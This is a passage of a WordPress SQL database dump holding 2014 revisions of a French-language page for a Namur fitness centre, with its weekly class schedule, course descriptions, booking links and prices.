class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 07:58:24', '2014-08-31 07:58:24', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(443, 1, '2014-08-31 07:56:42', '2014-08-31 07:56:42', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\n\r\n&amp;nbsp;\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n\r\n&lt;img class=\&quot;size-full wp-image-409 alignleft\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt; :&lt;strong&gt;La Zumba® &lt;/strong&gt;est un mix de plusieurs danses latines (salsa, merengue, cumbia, reggaeton…), de fitness et d\'aérobie qui reste accessible à tout le monde quel que soit son niveau.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 07:56:42', '2014-08-31 07:56:42', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(453, 1, '2014-08-31 08:32:13', '2014-08-31 08:32:13', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;15h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tpsychomot\&quot;&gt;Psychomotricité&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;16h30&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;-&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;Cardio&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcore\&quot;&gt;Core&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Squash&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tforce\&quot;&gt;Force&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;TRX/Cardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Bootcamp&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;td class=\&quot;tvide\&quot;&gt;Réservé Foot&lt;/td&gt;\r\n&lt;td class=\&quot;tcircuit\&quot;&gt;Circuit Training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\nCircuit Training : Entraînement sur un circuit ultra complet, fun et adapté à votre niveau. Ce circuit utilise tous les outils.\r\n\r\nCardio : Entraînement développant votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et pour perdre du poids (en complément avec un programme alimentaire) !\r\n\r\nTRX : Entraînement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l’intensité que vous avez choisie.\r\n\r\nPsychomotricité : Séance réservée aux enfants de 3 à 6 ans.\r\n\r\nForce : Entraînement basé sur le travail de la force pure avec ou sans prise de masse (Kettlebel, barre, haltère,…)&lt;b&gt; &lt;/b&gt;\r\n\r\nCore : Entraînement basé sur le travail du centre du corps (« core »). Nous enchaînerons les exercices sur les muscles abdominaux, dorsaux, fessiers,…\r\n\r\nTRX/Cardio : Entraînement croisé entre le TRX et le cardio. Vous travaillerez ici votre endurance et votre renforcement musculaire global.\r\n\r\n&amp;nbsp;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Namur :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-revision-v1', '', '', '2014-08-31 08:32:13', '2014-08-31 08:32:13', '', 363, 'http://www.crosstrainingcenter.be/363-revision-v1/', 0, 'revision', '', 0),
(451, 1, '2014-08-31 08:19:09', '2014-08-31 08:19:09', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Small Group Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 pers.). Nous vous proposons 7 types de séances décrites ci-dessous.\r\nPour suivre les cours de Small Group Training, vous devez d\'abord vous inscrire à une &lt;a title=\&quot;Séance booster\&quot; href=\&quot;http://www.crosstrainingcenter.be/266-2/\&quot;&gt;séance Booster&lt;/a&gt;. Cette séance, sur rendez-vous individuel, avec un coach durera 30 minutes. Durant cette séance, un bilan sera réalisé ainsi qu\'une découverte de l\'ensemble des outils du Cross Training Center.\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Heure&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td 